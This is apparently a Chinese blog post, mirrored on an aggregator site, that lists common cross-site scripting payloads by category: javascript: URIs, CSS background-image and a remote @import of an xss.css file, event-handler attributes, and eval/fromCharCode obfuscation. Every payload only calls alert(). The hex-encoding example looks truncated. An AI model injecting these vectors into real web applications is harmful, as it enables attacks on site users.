zoukankan      html  css  js  c++  java
  • 常见的javascript跨站

    第一类:

    <img src=javascript:alert() />

    <iframe src=javascript:alert()></iframe>

    <script src=javascript:alert()></script>

    第二类:

    <div style=background-image:url(javascript:alert())>

    <img style=background-image:url(javascript:alert())>

    <b style=background-image:url(javascript:alert())>

    用STYLE标签引用其他网站上的css文件

    <STYLE>@import'http://xxx.xom/xss.css';</STYLE>

    css文件里包含跨站程序

    body{

    background-image:url('javascript:alert();');
    }

    第三类:

    <table background=javascript:alert()></table>

    <body background=javascript:alert()></body>

    第四类:

    <div onmouseenter=alert()>鼠标进入本区域执行Javascript</div>

    <div onmouseleave=alert()>鼠标离开本区域执行Javascript</div>

    <div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>

    <div contentEditable="true" onfocusin=alert()>获得焦点执行Javascript</div>

    <div contentEditable="true" onfocusout=alert()>失去焦点执行Javascript</div>

    <marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>

    <img src="" onerror=alert('加载图片错误执行代码')>

    <img src="" onclick=alert('单击图片执行代码')>

    <img onmouseover=alert('鼠标经过图片执行代码')>

     

    <img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>

    将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开,再用String.fromCharCode解码,最后用eval执行

     

    还可以进行十六进制的处理:

    <img style=background-image:url(javascript:alert()>

  • 相关阅读:
    5 输出的properties文件按照key进行排序
    JFinal 部署在 Tomcat 下推荐方法(转)
    15个必须知道的chrome开发者技巧(转)
    一次完整的浏览器请求流程(转)
    工作第一天
    Struts2的crud
    equal 和 ==
    生成Apk遇到的问题
    Http Framework
    Gradle: The New Android Build System
  • 原文地址:https://www.cnblogs.com/jing-tian/p/11125300.html
Copyright © 2011-2022 走看看